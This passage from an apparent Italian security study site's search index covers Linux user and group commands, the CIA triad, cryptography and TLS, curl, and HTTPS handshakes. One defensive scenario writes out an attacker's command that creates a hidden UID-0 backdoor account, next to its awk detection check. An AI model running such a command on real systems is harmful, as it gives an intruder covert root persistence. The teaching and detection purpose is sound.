/etc/shadow in modo coordinato.\nTL;DR # sudo adduser mario # crea utente mario con home e password sudo usermod -aG sudo mario # aggiungi mario al gruppo sudo sudo userdel -r mario # elimina mario e la sua home sudo passwd mario # cambia la password di mario sudo chown mario:mario file # cambia proprietario del file lastlog # mostra ultimo login di tutti gli utenti Creazione e modifica utenti # Comando Cosa fa Note sudo adduser nome Crea utente interattivo Crea home, chiede password — preferito su Debian/Ubuntu sudo useradd nome Crea utente non interattivo Non crea home automaticamente — richiede flag aggiuntivi sudo useradd -m -s /bin/bash nome Crea utente con home e shell -m = crea home, -s = shell specifica sudo usermod -aG gruppo utente Aggiunge utente a gruppo -a = append — OBBLIGATORIO, senza sovrascrive i gruppi sudo usermod -s /bin/bash utente Cambia shell dell'utente Modifica il settimo campo in /etc/passwd sudo usermod -L utente Blocca l'account Lock — aggiunge ! all'hash in /etc/shadow sudo usermod -U utente Sblocca l'account Unlock — rimuove il ! sudo userdel utente Elimina utente La home rimane sul disco sudo userdel -r utente Elimina utente e home -r = remove — cancella home e mail spool sudo passwd utente Cambia password Senza argomento cambia la tua Gestione gruppi # Comando Cosa fa Note sudo groupadd nome Crea nuovo gruppo sudo groupdel nome Elimina gruppo Fallisce se e' il gruppo primario di un utente sudo groupmod -n nuovo vecchio Rinomina gruppo getent group nome Mostra membri del gruppo Alternativa a cat /etc/group id utente Mostra UID, GID e gruppi Rapido per verificare appartenenze Cambio proprietario file # Comando Cosa fa Esempio sudo chown utente file Cambia proprietario sudo chown mario file.txt sudo chown utente:gruppo file Cambia proprietario e gruppo sudo chown mario:devs file.txt sudo chown :gruppo file Cambia solo il gruppo sudo chown :devs file.txt sudo chown -R utente:gruppo dir/ Ricorsivo su directory -R = recursive sudo chgrp gruppo file Cambia solo il gruppo Equivalente a chown :gruppo Ispezione e audit # Comando Cosa fa Note Blue Team lastlog Ultimo login di tutti gli utenti Utenti che non si sono mai loggati mostrano \u0026quot;Never logged in\u0026quot; lastlog -u utente Ultimo login di un utente specifico -u = user last Lista login recenti (wtmp) Include login, logout e riavvii last utente Login recenti di un utente sudo lastb Login falliti (btmp) Richiede sudo — file /var/log/btmp id utente UID, GID, gruppi Verifica rapida appartenenze getent passwd utente Info complete dall'account Mostra tutti i 7 campi adduser vs useradd — la differenza # # adduser — script interattivo (Debian/Ubuntu) sudo adduser mario # Fa tutto: crea home /home/mario, chiede nome completo, # chiede password, crea gruppo mario automaticamente # useradd — comando POSIX di basso livello sudo useradd mario # NON crea home, NON imposta password, NON chiede nulla # Devi aggiungere -m -s /bin/bash e poi passwd # Regola pratica: usa adduser quando sei su Ubuntu/Kali # Usa useradd negli script (controllo totale) Refresh dei privilegi dopo usermod # Quando aggiungi un utente a un gruppo con usermod -aG, la modifica e' nel database ma la sessione corrente dell'utente non si aggiorna — e' come una fotografia scattata al login che non cambia.\nPer applicare immediatamente senza logout:\nsu - nomeutente # se hai sudo newgrp nomegruppo # cambia gruppo primario nella sessione corrente Se l'utente non ha sudo, deve fare logout e login.\nsu - Switch User su nome_utente - cambi utente ma mantieni buona parte dell’ambiente del chiamante: variabili d’ambiente, PATH in parte ereditato, working directory invariata, ecc. È come dire “esegui una shell come quell’utente, ma dentro il mio contesto attuale”. su - nome_utente (o su -l nome_utente) avvii una login shell “pulita” per quell’utente, come se avesse fatto login da zero: vengono caricati i suoi file di configurazione di login (.profile, .bash_profile, ecc.), viene impostata la sua HOME come directory corrente, PATH e altre variabili vengono settate come previsto per quell’utente. È il modo “corretto” per impersonarlo davvero. /etc/shadow — formato password # sudo less /etc/shadow # Formato di una riga: # utente:$id$salt$hash:ultimocambio:minimo:massimo:avviso:inattivo:scadenza # # Il campo password: # $6$ = SHA-512 (standard moderno) # $5$ = SHA-256 # $y$ = yescrypt (Ubuntu/Kali recenti) # $1$ = MD5 (vecchio, insicuro) # ! = account bloccato (usermod -L) # * = account senza password (utenti di sistema) # # Esempio: # barno:$y$j9T$abc123salt$hash_lungo:19800:0:99999:7::: # ^ # yescrypt — sistema moderno Important Il salt e' casuale per ogni utente. Due utenti con la stessa password hanno hash completamente diversi. Questo blocca i rainbow table attack — non puoi precomputare gli hash perche' non conosci il salt.\n/etc/group — struttura # cat /etc/group | grep -i barno # Formato: # nome_gruppo:x:GID:lista_membri # # barno:x:1000: \u0026lt;- barno e\u0026#39; il PROPRIETARIO del gruppo barno # kaboxer:x:130:barno \u0026lt;- barno e\u0026#39; MEMBRO del gruppo kaboxer # # Il quarto campo e\u0026#39; la lista dei membri aggiuntivi. # Se sei il proprietario (primary group), il tuo nome non si ripete nel quarto campo. Scenario Reale # # ATTACCO — creazione backdoor utente # Un attaccante con accesso root crea un utente nascosto: sudo useradd -m -u 0 -o -g 0 -s /bin/bash backdoor # -u 0 = UID 0 (root) anche se il nome e\u0026#39; diverso # -o = permette UID duplicato # DIFESA — rilevamento utenti con UID 0 non autorizzati awk -F: \u0026#39;$3 == 0 {print $1}\u0026#39; /etc/passwd # Dovrebbe restituire SOLO \u0026#34;root\u0026#34; — qualsiasi altro nome e\u0026#39; anomalo # Verifica utenti creati di recente (modifiche a /etc/passwd): ls -la /etc/passwd # controlla timestamp # oppure con auditd (mese 4+) Warning usermod -aG — il flag -a (append) e' critico. Senza -a, -G sovrascrive tutti i gruppi dell'utente con solo quelli specificati. Un sudo usermod -G docker mario rimuoverebbe mario da sudo, wheel e tutti gli altri gruppi.\nOrphaned File — file senza utente # Durante un'analisi forense trovi un file in /tmp con UID 1005 ma getent passwd 1005 non restituisce nulla. Sei davanti a un orphaned file — residuo di un utente eliminato o tentativo di un attaccante di creare file con ID non mappati per evadere il monitoraggio standard.\n# Trova tutti i file orphaned (UID senza utente corrispondente) find / -nouser 2\u0026gt;/dev/null find / -nogroup 2\u0026gt;/dev/null Collegato a # iam — categoria system — categoria sudo — gestione privilegi su — cambio utente interattivo linux-permissions-ugo — sistema permessi linux-groups — concetto gruppi etc-passwd-anatomy — struttura file utenti ","date":"23 marzo 2026","externalUrl":null,"permalink":"/comandi/user-management/","section":"Comandi","summary":"Comandi per creare, modificare ed eliminare utenti e gruppi su Linux. Include adduser, usermod, userdel, groupadd, groupdel, passwd, chown, chgrp e lastlog.","title":"User Management - gestione utenti e gruppi","type":"comandi"},{"content":" Cosa fa # Framework concettuale che definisce i tre obiettivi fondamentali della sicurezza informatica. E' il mindset di base del Blue Team — ogni incidente, ogni alert, ogni controllo di sicurezza protegge uno o piu' di questi tre pilastri.\nTL;DR # Confidentiality → solo chi e\u0026#39; autorizzato puo\u0026#39; leggere Integrity → i dati non vengono alterati senza autorizzazione Availability → i dati sono accessibili quando servono Ogni attacco viola almeno uno dei tre:\nFurto di dati → Confidentiality Ransomware che cifra i file → Availability (+ Integrity) Modifica non autorizzata di un record → Integrity I tre pilastri # Confidentiality — Riservatezza # Le informazioni sono accessibili solo alle entità autorizzate — utenti, processi o sistemi che hanno il diritto esplicito di leggerle.\nViolazioni tipiche:\nBackup non cifrato esposto su internet File di salary accessibili pubblicamente Credenziali condivise con entità non autorizzate Strumenti di difesa: cifratura, permessi UGO, autenticazione forte.\nIntegrity — Integrita' # I dati non vengono modificati senza autorizzazione e senza che la modifica venga rilevata.\nViolazioni tipiche:\nRecord database modificato senza autorizzazione Report finanziario alterato Log di sistema cancellati per nascondere attivita' Il terzo esempio e' il piu' insidioso per il Blue Team — un attaccante che cancella i log viola Integrity per nascondere la violazione di Confidentiality o Availability.\nStrumenti di difesa: hash dei file, diff per rilevare modifiche, log immutabili, firma digitale.\nAvailability — Disponibilita' # Le informazioni devono essere accessibili quando servono agli utenti autorizzati.\nViolazioni tipiche:\nSito web non raggiungibile durante orario lavorativo Server bloccato da aggiornamenti critici non applicati Email server offline per attacco DoS Strumenti di difesa: ridondanza, backup, rate limiting, CDN.\nCollegamento con attacchi reali # graph TD A[Attacco] --\u003e C[Viola Confidentiality\\nfurto dati, leak] A --\u003e I[Viola Integrity\\nmodifica dati, log tampering] A --\u003e V[Viola Availability\\nDoS, ransomware] C --\u003e CIA[Incidente di sicurezza] I --\u003e CIA V --\u003e CIA Un ransomware viola tutti e tre:\nCifra i file → Availability (non accessibili) Modifica i file → Integrity Esfiltra dati prima di cifrare → Confidentiality Nella pratica Blue Team # # Confidentiality — verifica che file sensibili non siano leggibili ls -la /etc/shadow # -rw-r----- root shadow → solo root e gruppo shadow # Integrity — rileva modifiche non autorizzate a file critici diff /backup/etc/passwd /etc/passwd # se esce una riga con + → qualcuno ha aggiunto un utente # Availability — verifica che i servizi siano attivi systemctl status ssh systemctl status nginx Scenario Reale # Un attaccante entra in un sistema, esfiltra il database clienti (Confidentiality), modifica i prezzi nel database (Integrity), poi lancia un attacco DoS per distrarre il team mentre tutto questo accade (Availability). Il Blue Team che pensa solo in termini di \u0026quot;prevenire l'accesso\u0026quot; vede solo un terzo del quadro.\nCollegato a # cryptography — strumento principale per proteggere Confidentiality linux-permissions-ugo — controllo accessi per Confidentiality diff — rilevamento modifiche per Integrity log — categoria incidents — categoria ","date":"22 marzo 2026","externalUrl":null,"permalink":"/concetti/cia-triad/","section":"Concetti","summary":"La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.","title":"CIA Triad","type":"concetti"},{"content":" Cosa fa # Trasforma dati leggibili (plaintext) in dati illeggibili (ciphertext) usando un algoritmo e una chiave. Solo chi ha la chiave giusta puo' riportare il ciphertext al plaintext originale.\nTL;DR # Simmetrica → stessa chiave cifra e decifra → veloce → problema: come condividi la chiave? Asimmetrica → chiave pubblica cifra, chiave privata decifra → lenta → risolve la distribuzione Ibrida → asimmetrica per scambiare la chiave, simmetrica per i dati → usata ovunque Terminologia base # Plaintext — il messaggio originale leggibile Ciphertext — il messaggio cifrato, illeggibile senza chiave Chiave — il valore segreto che controlla la cifratura Algoritmo — il metodo pubblico per usare la chiave Brute force — provare tutte le chiavi possibili finche' si trova quella giusta Simmetrica # Una sola chiave — cifra e decifra. Come una cassaforte con un solo codice che tutti i partecipanti devono conoscere.\nVantaggi: molto veloce, efficiente per grandi quantita' di dati. Problema: come fai ad inviare la chiave all'altro in modo sicuro? Se la chiave viene intercettata durante la trasmissione, tutto crolla.\nEsempio storico: Caesar Cipher — shift di N posizioni sull'alfabeto. ROT13 e' un Caesar Cipher con shift 13 — lo hai usato in Bandit 11 con tr.\nEsempi moderni: AES (Advanced Encryption Standard).\nAsimmetrica # Due chiavi matematicamente collegate:\nChiave pubblica — distribuibile a chiunque, cifra i dati Chiave privata — solo tua, decifra i dati Non e' possibile derivare la chiave privata dalla pubblica — il problema matematico sottostante richiederebbe migliaia di anni con i computer attuali.\nsequenceDiagram participant A as Alice participant B as Bob B-\u003e\u003eA: Manda chiave pubblica A-\u003e\u003eB: Cifra messaggio con chiave pubblica di Bob B-\u003e\u003eB: Decifra con la sua chiave privata note over B: Solo Bob puo' leggere Lo conosci gia' da due contesti:\nSSH — la tua chiave pubblica sta sul server, la privata sul tuo Mac Bitcoin — l'indirizzo del wallet e' derivato dalla chiave pubblica Sistema ibrido — come funziona HTTPS (TLS) # TLS (Transport Layer Security) e' il protocollo che cifra le connessioni HTTPS. Il cuore di TLS e' l'handshake — una negoziazione iniziale tra browser e server che stabilisce come comunicare in modo sicuro.\nsequenceDiagram participant B as Browser participant S as Server B-\u003e\u003eS: Client Hello — versioni TLS supportate, algoritmi S-\u003e\u003eB: Server Hello — algoritmo scelto + certificato B-\u003e\u003eB: Verifica certificato con root CA installate sul OS/browser note over B: Se CA non fidata → warning e blocco B-\u003e\u003eS: Parametro pubblico DH (A = g^a) S-\u003e\u003eB: Parametro pubblico DH (B = g^b) note over B: Calcola g^(ab) con il suo segreto privato a note over S: Calcola g^(ab) con il suo segreto privato b note over B,S: Entrambi hanno la stessa chiave simmetrica note over B,S: Nessuno ha mai mandato la chiave sulla rete B-\u003e\u003eS: Dati cifrati con chiave simmetrica (AES) S-\u003e\u003eB: Risposta cifrata con chiave simmetrica (AES) versione semplificata # sequenceDiagram participant B as Browser participant S as Server B-\u003e\u003eS: Ciao, voglio connettermi S-\u003e\u003eB: Ecco il mio certificato con chiave pubblica B-\u003e\u003eB: Verifico certificato con le CA che ho installate B-\u003e\u003eS: Parametro pubblico mio (A) S-\u003e\u003eB: Parametro pubblico mio (B) note over B,S: Entrambi calcolano la stessa chiave simmetrica note over B,S: Nessuno l'ha mai mandata sulla rete B-\u003e\u003eS: Da qui tutto cifrato con AES Browser dice al server \u0026quot;voglio connettermi\u0026quot; e manda quali versioni TLS supporta Server risponde con il suo certificato — dentro c'è la sua chiave pubblica e la firma della CA Browser verifica il certificato — risale la catena fino a una Root CA che ha già installata. Se non la trova, blocca tutto Browser e server si scambiano parametri pubblici DH (Diffie-Hellman) — nessuno manda mai il segreto privato, ma matematicamente entrambi arrivano alla stessa chiave simmetrica. Le chiavi DH sono effimere (ECDHE — Elliptic Curve Diffie-Hellman Ephemeral) — generate fresh per questa sessione e scartate alla fine. La sessione successiva userà chiavi completamente diverse. Da questo momento tutta la comunicazione è cifrata con AES usando quella chiave simmetrica — veloce ed efficiente. Perfect Forward Secrecy — anche se domani qualcuno ruba la chiave privata del server, non può decifrare questa sessione perché le chiavi effimere sono già state cancellate. TLS TLS sta per Transport Layer Security TLS (Transport Layer Security) e' il protocollo che cifra le connessioni HTTPS. Il cuore di TLS e' l'handshake — una negoziazione iniziale tra browser e server che stabilisce come comunicare in modo sicuro.\nCA Certificate Authority — Autorità di Certificazione.\nPerche' questo approccio ibrido:\nAsimmetrica (certificati) → verifica l\u0026#39;identita\u0026#39; del server DH key exchange → deriva la chiave simmetrica senza trasmetterla Simmetrica (AES) → cifra i dati — veloce ed efficiente Root certificates — da dove vengono:\nNon li scarichi al momento della connessione — sono gia' preinstallati nel tuo OS e nel browser:\nMac → Keychain Access → System Roots (~170 CA) Windows → Certificate Manager Chrome → trust store proprio Safari → usa quello di macOS La catena di fiducia:\nRoot CA (preinstallata nel tuo OS) └── Intermediate CA (firmata dalla Root) └── Certificato del sito (firmato dalla Intermediate) Il browser risale la catena finche' non trova una Root CA che conosce. Se non la trova — warning.\nSe una CA viene compromessa, Apple o Mozilla la rimuovono con un aggiornamento di sistema. E' successo con DigiNotar nel 2011 — rimossa da tutti i browser in pochi giorni.\nPerfect Forward Secrecy — perche' le chiavi sono effimere:\nLa E in ECDHE sta per Ephemeral — per ogni sessione TLS vengono generate chiavi DH nuove e poi scartate:\nSessione 1: a1, b1 → chiave simmetrica 1 → scartata Sessione 2: a2, b2 → chiave simmetrica 2 → scartata Sessione 3: a3, b3 → chiave simmetrica 3 → scartata Senza PFS: Un attaccante registra traffico cifrato oggi, ruba la chiave privata del server domani — decifra tutto il traffico passato.\nCon PFS (ECDHE): Un attaccante registra traffico oggi, ruba la chiave privata domani — non puo' decifrare niente. Le chiavi effimere non esistono piu'.\nNote TLS 1.3 (2018) richiede obbligatoriamente ECDHE — Perfect Forward Secrecy non e' piu' opzionale. TLS 1.0 e 1.1 sono considerati obsoleti e disabilitati dai browser moderni.\nCertificati e Certificate Authority # Il problema dell'asimmetrica: come sai che la chiave pubblica appartiene davvero al sito e non a un attaccante?\nUn certificato e' un documento digitale che:\nContiene la chiave pubblica del sito Dichiara a chi appartiene (example.com) E' firmato da una Certificate Authority (CA) fidata Il tuo browser ha una lista di CA fidate preinstallata. Quando un sito presenta un certificato:\nBrowser verifica: 1. E\u0026#39; firmato da una CA fidata? 2. Non e\u0026#39; scaduto? 3. Il dominio corrisponde? Tutto ok → lucchetto verde Qualcosa non va → warning / blocco connessione Nella pratica Blue Team # # Vedere il certificato di un sito openssl s_client -connect google.com:443 \u0026lt;/dev/null 2\u0026gt;/dev/null | openssl x509 -noout -text | grep -E \u0026#34;Subject|Issuer|Not After\u0026#34; # Verificare scadenza certificato echo | openssl s_client -connect dominio.com:443 2\u0026gt;/dev/null | openssl x509 -noout -dates #Con una CA che non conosci puoi fare Ti mostra tutta la catena — dal certificato del sito fino alla Root CA. Da lì cerchi il nome della Root nel Keychain. openssl s_client -connect corsobitcoin.com:443 -showcerts Un certificato scaduto e' un alert immediato — o il sito e' abbandonato o qualcosa e' andato storto nella gestione.\nWarning Un certificato valido non significa che il sito e' sicuro — significa solo che la connessione e' cifrata. Un attaccante puo' avere un certificato valido per un sito di phishing.\ncuriosità # SSL è il predecessore di TLS.\nSSL 1.0 → 1994, mai rilasciato (troppo insicuro) SSL 2.0 → 1995, rilasciato, subito bucato SSL 3.0 → 1996, usato per anni TLS 1.0 → 1999, SSL rinominato e migliorato TLS 1.1 → 2006 TLS 1.2 → 2008, ancora usato TLS 1.3 → 2018, quello attuale SSL è tecnicamente morto — deprecato nel 2015, vulnerabile ad attacchi come POODLE. Nessun sito moderno lo usa.\nMa il nome SSL è rimasto nel linguaggio comune perché per 20 anni tutti chiamavano quella cosa \u0026quot;SSL\u0026quot;. Quando dici \u0026quot;certificato SSL\u0026quot; intendi TLS. Quando vedi openssl nel nome del tool — stesso motivo, il nome è rimasto.\nOggi SSL/TLS significa sempre e solo TLS — SSL è storia.\nCollegato a # cia-triad — la crittografia protegge Confidentiality e Integrity ssl-tls — implementazione pratica del sistema ibrido ssh-protocol — usa asimmetrica per autenticazione crypto — categoria ","date":"22 marzo 2026","externalUrl":null,"permalink":"/concetti/cryptography/","section":"Concetti","summary":"La crittografia protegge la Confidentiality e l'Integrity dei dati. Due approcci principali: simmetrica (una chiave, veloce) e asimmetrica (coppia pubblica/privata, lenta). I sistemi reali usano entrambe insieme.","title":"Cryptography","type":"concetti"},{"content":" Cosa fa # Manda richieste HTTP/HTTPS da riga di comando e mostra la risposta. Permette di vedere header, status code, body e debuggare qualsiasi servizio web senza aprire un browser.\nTL;DR # curl https://example.com # GET base — mostra il body curl -i https://example.com # include gli header nella risposta curl -I https://example.com # solo header (HEAD request) curl -v https://example.com # verbose — tutto: request + response Comandi essenziali # Comando Flag Significato flag Cosa fa curl URL — — GET base, mostra il body curl -i URL -i include — include header Mostra header + body insieme curl -I URL -I head — solo header Manda HEAD request, niente body curl -v URL -v verbose — dettagliato Mostra tutto: request, header, response curl -u user:pass URL -u user — credenziali HTTP Basic Authentication curl -X POST URL -X request — metodo HTTP Specifica il metodo (POST, PUT, DELETE) curl -d \u0026quot;data\u0026quot; URL -d data — corpo richiesta Manda dati nel body (POST) curl -H \u0026quot;Header: val\u0026quot; URL -H header — header custom Aggiunge header alla richiesta curl -o file URL -o output — salva su file Salva la risposta su file curl -L URL -L location — segui redirect Segue i redirect automaticamente curl -s URL -s silent — silenzioso Nessun output di progresso curl -i vs telnet # Entrambi permettono di vedere la risposta grezza di un server HTTP, ma con approcci diversi:\n# curl -i — fa una vera richiesta HTTP, mostra header + body curl -i http://example.com # telnet — connessione raw TCP, devi scrivere la richiesta a mano telnet example.com 80 GET / HTTP/1.0 Host: example.com [invio due volte] curl -i e' lo strumento giusto per ispezionare header e status code rapidamente. telnet e' utile per capire il protocollo a basso livello o per banner grabbing su porte non-HTTP.\nCombinazioni utili # # Testa se un servizio risponde sulla porta 80 curl -i http://localhost:80 # Vedi gli header di risposta di un sito curl -I https://google.com # Accedi a un sito con autenticazione Basic curl -u username:password http://ctf.labs.overthewire.org # Manda una POST con dati JSON curl -X POST -H \u0026#34;Content-Type: application/json\u0026#34; \\ -d \u0026#39;{\u0026#34;user\u0026#34;:\u0026#34;test\u0026#34;}\u0026#39; https://api.example.com/login # Segui redirect e salva il risultato curl -L -o output.html https://example.com Ricognizione Directory (Directory Listing) # La slash finale (/) è fondamentale: senza di essa, il server potrebbe non mostrare l'indice della cartella.\n# 1. Controlla se il Directory Listing è attivo (nota la slash finale) curl -u user:pass http://target.com/files/ # 2. Estrai rapidamente i nomi dei file dall\u0026#39;HTML (Trick da Analyst) curl -s -u user:pass http://target.com/files/ | grep -oE \u0026#39;href=\u0026#34;([^\u0026#34;#]+)\u0026#34;\u0026#39; | cut -d\u0026#39;\u0026#34;\u0026#39; -f2 Scenario Reale # Durante un assessment, un analista vuole vedere cosa espone un server web negli header di risposta — versione del server, tecnologie usate, header di sicurezza presenti o assenti:\ncurl -I https://target.com # Server: nginx/1.18.0 ← versione esposta (info leakage) # X-Powered-By: PHP/7.4 ← tecnologia esposta # X-Frame-Options: SAMEORIGIN ← header di sicurezza presente # Strict-Transport-Security: ← HSTS presente o assente? Assenza di X-Frame-Options → vulnerabile a clickjacking. Assenza di Strict-Transport-Security → vulnerabile a downgrade HTTPS.\nTip curl -I e' piu' veloce di -i quando ti interessano solo gli header — manda una HEAD request che non trasferisce il body.\nCollegato a # http-in-detail — il protocollo che curl parla netcat — alternativa raw per banner grabbing network — categoria system — categoria wget ","date":"22 marzo 2026","externalUrl":null,"permalink":"/comandi/curl/","section":"Comandi","summary":"Client HTTP da riga di comando. Manda richieste HTTP/HTTPS e mostra la risposta. Piu' versatile di wget per testare API, vedere header e debuggare servizi web.","title":"curl - Client URL","type":"comandi"},{"content":" TL;DR Prima del TLS c'è TCP: tre pacchetti solo per aprire il canale ClientHello è il nome reale del messaggio - lo vedi in Wireshark, è nell'RFC Browser e server derivano la stessa chiave senza mai trasmettersela (Diffie-Hellman) Ogni sessione usa chiavi nuove e le butta via - anche se qualcuno ruba la chiave del server tra un anno, il traffico di oggi resta illeggibile ▶ $ history openssl s_client -connect google.com:443 -showcerts openssl s_client -connect dominio.com:443 2\u0026gt;/dev/null | openssl x509 -noout -dates openssl s_client -connect google.com:443 \u0026lt;/dev/null 2\u0026gt;/dev/null | openssl x509 -noout -text | grep -E \u0026quot;Subject|Issuer|Not After\u0026quot; Ogni volta che scrivi https:// nel browser e premi invio, sullo sfondo succede qualcosa che la maggior parte degli sviluppatori web dà per scontato. Il lucchetto verde appare, la connessione è \u0026quot;sicura\u0026quot;, si va avanti.\nMa sicura come? Sicura contro chi? E perché qualcuno che intercetta il tuo traffico non può leggerlo, anche se vede ogni singolo pacchetto che passa?\nQuesta è la storia di quei 250 millisecondi.\nIl contesto - tre tipi di crittografia in gioco # Prima di aprire il browser, conviene capire i mattoni di base. HTTPS usa tre approcci crittografici diversi, ciascuno per risolvere un problema specifico:\nSimmetrica (AES) → stessa chiave cifra e decifra → veloce problema: come la condividi in modo sicuro? Asimmetrica (RSA) → chiave pubblica cifra, privata decifra → lenta risolve la distribuzione delle chiavi DH / ECDHE → due parti derivano la stessa chiave senza mai trasmetterla sulla rete → risolve PFS HTTPS le usa tutte e tre: l'asimmetrica per verificare l'identità, il DH per negoziare una chiave senza inviarla, la simmetrica per cifrare i dati. Ognuna dove ha senso.\nTCP: prima ancora di parlare di HTTPS # La connessione HTTPS comincia con un TCP handshake. Non TLS, non crittografia - solo tre pacchetti per stabilire un canale affidabile:\nClient → Server SYN \u0026#34;possiamo parlare?\u0026#34; Server → Client SYN-ACK \u0026#34;sì, sono pronto. tu?\u0026#34; Client → Server ACK \u0026#34;ok, inizio\u0026#34; Solo dopo che questo è completato, il browser inizia il TLS handshake. TCP è il pavimento su cui costruisce tutto il resto.\nClient Hello: il browser presenta le sue carte # Sì, si chiama davvero così. ClientHello è il nome esatto del messaggio definito nell'RFC 8446 (la specifica di TLS 1.3, sezione 4.1.2). Non è una metafora - se apri Wireshark durante una connessione HTTPS, lo vedi scritto proprio così nel payload.\nIl browser manda un ClientHello che contiene:\nLe versioni TLS che supporta (oggi tipicamente TLS 1.2 e 1.3) Gli algoritmi crittografici che conosce (cipher suites) Un numero casuale che servirà dopo Il server risponde con un ServerHello: sceglie la versione TLS e la cipher suite, poi manda il suo certificato.\nIl certificato e la catena di fiducia # Il certificato è un documento digitale firmato da una Certificate Authority (CA). Contiene:\nLa chiave pubblica del server Il dominio a cui appartiene (example.com) La firma crittografica della CA che lo ha emesso Il browser non conosce il certificato del sito - ma conosce già le CA. Nel tuo sistema operativo e nel browser ci sono circa 170 Root CA preinstallate. La verifica segue una catena:\ngraph TD Root[\"Root CA - preinstallata nel tuo OS\"] Inter[\"Intermediate CA - firmata dalla Root\"] Cert[\"Certificato del sito - firmato dalla Intermediate\"] Root --\u003e Inter --\u003e Cert Il browser risale la catena. Se trova una Root CA che riconosce, il certificato è valido. Se la catena si spezza - warning e blocco.\nTre cose vengono verificate:\nLa firma è valida e risale a una Root CA fidata? Il certificato non è scaduto? Il dominio corrisponde a quello a cui ti stai connettendo? Tutto ok → lucchetto verde.\nUn certificato valido non significa che il sito è sicuro. Significa che la connessione è cifrata. Un attaccante può avere un certificato valido per un dominio di phishing - il lucchetto verde non garantisce l'identità del business, solo che stai parlando con il server giusto.\nDiffie-Hellman: la chiave che nessuno ha mai trasmesso # Questo è il passaggio più controintuitivo. Browser e server devono concordare una chiave simmetrica per cifrare i dati - ma non possono semplicemente inviarsela. Se qualcuno sta ascoltando, la intercetterebbe.\nPrima della matematica, c'è un'analogia che aiuta: i secchi di tinta.\nAlice e Bob vogliono un colore segreto condiviso senza doversi dire i colori privati:\nConcordano pubblicamente un colore base - giallo. Tutti lo sanno, non è un segreto. Alice sceglie in segreto il rosso. Lo mescola col giallo → manda arancione a Bob. Bob sceglie in segreto il blu. Lo mescola col giallo → manda verde ad Alice. Alice prende il verde di Bob, ci aggiunge il suo rosso segreto → marrone. Bob prende l'arancione di Alice, ci aggiunge il suo blu segreto → marrone. Stesso colore finale. Ma perché un attaccante che intercetta tutto - giallo, arancione, verde - non riesce a ricavare il marrone?\nPerché non può semplicemente mescolare arancione e verde. Arancione è giallo+rosso, verde è giallo+blu: mescolandoli ottiene giallo+giallo+rosso+blu - un colore diverso, con il giallo in eccesso. Per arrivare al marrone gli serve uno dei due segreti privati, rosso o blu. E quelli non sono mai usciti dalle rispettive macchine.\nL'unica strada è separare il rosso dall'arancione - cioè togliere il giallo dalla miscela. Con la tinta è fisicamente impossibile. Con i numeri, il problema equivalente si chiama logaritmo discreto ed è computazionalmente infattibile con chiavi abbastanza grandi.\nLa soluzione è ECDHE (Elliptic Curve Diffie-Hellman Ephemeral). Il principio è lo stesso, con i numeri al posto dei colori:\nsequenceDiagram participant B as Browser participant S as Server B-\u003e\u003eS: Parametro pubblico A S-\u003e\u003eB: Parametro pubblico B note over B: Calcola chiave con A e il suo segreto privato note over S: Calcola chiave con B e il suo segreto privato note over B,S: Entrambi hanno la stessa chiave simmetrica note over B,S: Nessuno ha mai mandato la chiave sulla rete A e B sono parametri pubblici - chiunque li vede. Ma la chiave derivata richiede il segreto privato di ciascun lato, che non esce mai dalla macchina. Matematicamente, entrambi arrivano allo stesso risultato senza averlo comunicato.\nPerfect Forward Secrecy: perché la E di ECDHE è importante # La E sta per Ephemeral - effimero. Per ogni sessione TLS vengono generate coppie di chiavi DH completamente nuove, usate una volta sola e poi scartate:\nSessione 1: a1, b1 → chiave simmetrica K1 → scartata Sessione 2: a2, b2 → chiave simmetrica K2 → scartata Sessione 3: a3, b3 → chiave simmetrica K3 → scartata Questo garantisce la Perfect Forward Secrecy. Senza PFS, uno scenario classico è: un attaccante registra traffico cifrato oggi, ruba la chiave privata del server tra sei mesi, e decifra tutto il traffico passato. Con ECDHE questo è impossibile - le chiavi effimere non esistono più.\nTLS 1.3 (2018) rende ECDHE obbligatorio. Non è più una scelta - è un requisito.\nAES: finalmente i dati # Stabilita la chiave simmetrica, tutto il resto della conversazione è cifrato con AES. Veloce, efficiente, standard. L'asimmetrica e il DH hanno fatto il loro lavoro - ora passa in secondo piano.\nIl quadro completo in sequenza:\nsequenceDiagram participant B as Browser participant S as Server B-\u003e\u003eS: TCP SYN S-\u003e\u003eB: TCP SYN-ACK B-\u003e\u003eS: TCP ACK B-\u003e\u003eS: Client Hello - versioni TLS e algoritmi supportati S-\u003e\u003eB: Server Hello - algoritmo scelto e certificato B-\u003e\u003eB: Verifica catena certificato fino a Root CA B-\u003e\u003eS: Parametro pubblico DH S-\u003e\u003eB: Parametro pubblico DH note over B,S: Entrambi derivano la stessa chiave simmetrica B-\u003e\u003eS: Dati cifrati con AES S-\u003e\u003eB: Risposta cifrata con AES Nella pratica - ispezionare un certificato # openssl s_client è il modo più diretto per vedere cosa sta succedendo sotto il lucchetto verde.\n# Vedere il certificato di un sito e la catena openssl s_client -connect google.com:443 -showcerts # Verificare la scadenza echo | openssl s_client -connect dominio.com:443 2\u0026gt;/dev/null | openssl x509 -noout -dates # Subject, Issuer, scadenza in un colpo openssl s_client -connect google.com:443 \u0026lt;/dev/null 2\u0026gt;/dev/null \\ | openssl x509 -noout -text \\ | grep -E \u0026#34;Subject|Issuer|Not After\u0026#34; Un certificato scaduto è un alert immediato: o il sito è abbandonato, o qualcosa è andato storto nella gestione del rinnovo. In entrambi i casi vale la pena investigare.\nexit 0 # Il lucchetto verde è il risultato di un sistema a tre strati che si sono evoluti per risolvere problemi distinti: distribuire chiavi senza trasmetterle, verificare identità senza un canale sicuro preesistente, cifrare dati velocemente una volta che i due problemi precedenti sono risolti.\nOgni volta che appare quel lucchetto, qualcuno ha già fatto tre handshake in meno di un secondo. E se un attaccante registra il traffico oggi, tra un anno non gli servirà a niente - le chiavi sono già sparite.\nConcetti correlati: crittografia · tcp-udp\nApprofondimenti: La firma digitale · Crittografia pt. VIII - corsobitcoin.com\n","date":"22 marzo 2026","externalUrl":null,"permalink":"/blog/come-funziona-una-connessione-https/","section":"Blog","summary":" TL;DR Prima del TLS c'è TCP: tre pacchetti solo per aprire il canale ClientHello è il nome reale del messaggio - lo vedi in Wireshark, è nell'RFC Browser e server derivano la stessa chiave senza mai trasmettersela (Diffie-Hellman) Ogni sessione usa chiavi nuove e le butta via - anche se qualcuno ruba la chiave del server tra un anno, il traffico di oggi resta illeggibile ▶ $ history openssl s_client -connect google.com:443 -showcerts openssl s_client -connect dominio.com:443 2\u003e/dev/null | openssl x509 